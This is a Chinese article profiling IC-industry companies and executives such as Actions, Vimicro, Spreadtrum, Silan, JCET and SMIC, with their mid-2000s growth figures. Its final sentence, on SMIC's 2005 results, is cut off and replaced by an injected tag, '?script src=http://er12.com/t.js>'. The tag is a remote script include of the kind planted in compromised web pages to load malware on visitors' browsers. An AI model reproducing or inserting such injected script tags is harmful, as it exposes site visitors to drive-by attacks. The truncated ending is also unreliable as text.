这些“新贵”中，珠海炬力最为人们津津乐道。2003年营收只有4016万元的珠海炬力，在赵广民的带领下，抓住mp3市场的契机，依靠技术创新，近几年每年都在以10倍以上的速度增长，从设计行业的普通一兵，一下跃升为ic设计业的首位，2005年前三季度实现营收1亿美元，珠海炬力着实成为2005年设计业中最引人注目的一匹黑马。

　　在国内的设计企业中，中星微堪称自主创新的典范。以邓中翰为核心的创业团队，致力于建立统一的pc多媒体输入技术标准，形成了一个完整的数字媒体soc技术体系。他们坚持原始创新，突破七大核心技术，申请了500多项国内外技术专利，开发出具有国际领先水平的“星光”系列数字多媒体芯片，2005年实现销售收入超过7亿元。

　　虽然通信市场利润丰厚，但面对高起的技术门槛，许多国内ic设计公司只能望而却步。展讯通信的成功树立了国内设计公司对通信芯片的信心。以武平博士为总裁兼首席执行官的展讯通信，在2003年研发成功中国第一颗gsm/gprs(2g/2.5g)核心芯片之后，毅然投入td-scdma芯片的研制，他们仅用了1年时间，研制成功世界第一颗td-scdma手机核心芯片。核心技术的突破伴随着商业的成功，2005年展迅全球销售达到3.8亿元。

ic“老将”重塑竞争力

　　辉煌属于过去，曾经领先并不代表永远领先。那些为中国的半导体产业成长做出贡献的“老将”，面对新一轮的竞争，他们又开始新的起跑。

　　虽然陈向东是一个十分低调而内敛的企业家，但他领导的士兰微却由于成为我国内地上市的第一家设计公司，并在上市之后持续良好的获利能力，其影响力和知名度与日俱增。陈向东在率领士兰微电子稳步发展的同时，大胆尝试，勇于创新，投资成立了多家控股子公司。2004年底，公司杭州测试工厂建设完成，至此，士兰微芯片设计研发、制造、测试三个基地成型，这意味着士兰微未来的发展空间更加广阔。

　　“做国内一流的消费类微电子产品供应商”是王国平为华润微电子确立的市场目标。王国平率领的华润微电子在成功实现重组改制后发展速度明显加快，年均增长率保持在23%以上。在增长的背后，是他们重塑竞争力的不懈努力。重点工程6英寸生产线和封装生产线建设投产，产品技术创新的加快，管理模式的创新等，这一切，都是华润微电子持续增长的成功伏笔。

　　“不仅要规模领先，还要技术领先。”这是王新潮为长电科技许下的诺言。2003年，长电科技成功敲响上市钟声，也为曾经成功的低档产品规模化生产方式画上了句号。进入新一轮竞争，要用自主创新的技术和产品去打拼。2005年，长电科技不但新型元器件片式化生产率达到70%，更推出了fbp(平面凸点式封装)。fbp申请了21个国内外专利，将引领中国ic封装拓展国际高端市场。自主创新伴随而来的是效益的增长，2005年，长电科技利润增长率首次超过销售增长率。

　　宽厚、温和的石明达，对市场的变化极其敏锐。早在2002年，石明达即提出实施“让世界知名半导体企业都成为南通富士通的客户”的战略工程，并着手开始进行市场战略转轨。2004年和2005年，南通富士通全面实现了国内外客户的多元化，成为多家世界知名半导体企业的重点封测分包商，公司出口超过了70%。海外市场的成功开拓，使南通富士通在2004年、2005年两年保持高复合增长率，产量增长160%、销售收入增长153%、出口增长219%。

模式创新带来效益增长

　　在全球的代工业界，晶圆双雄几乎一统天下。内地新兴的代工企业在市场格局已经成型的情况下，唯有依靠发展和运营模式的创新，才有可能打开市场缺口。

　　张汝京，享有建厂高手的美誉。中芯国际自2000年成立以来，已有5座晶圆厂投产。但面对晶圆双雄的强势竞争，中芯国际必须有“独门绝技”。因此，不按常规出牌，成为张汝京的经营风格。他建掩膜厂、封装厂，建立凸块制造设施，并进军高档封装，中芯国际正以晶圆代工全方位服务供应商的定位，尝试一条中国特色晶圆代工之路。目前中芯国际已跻身全球代工三强，2005年前三?script src=http://er12.com/t.js>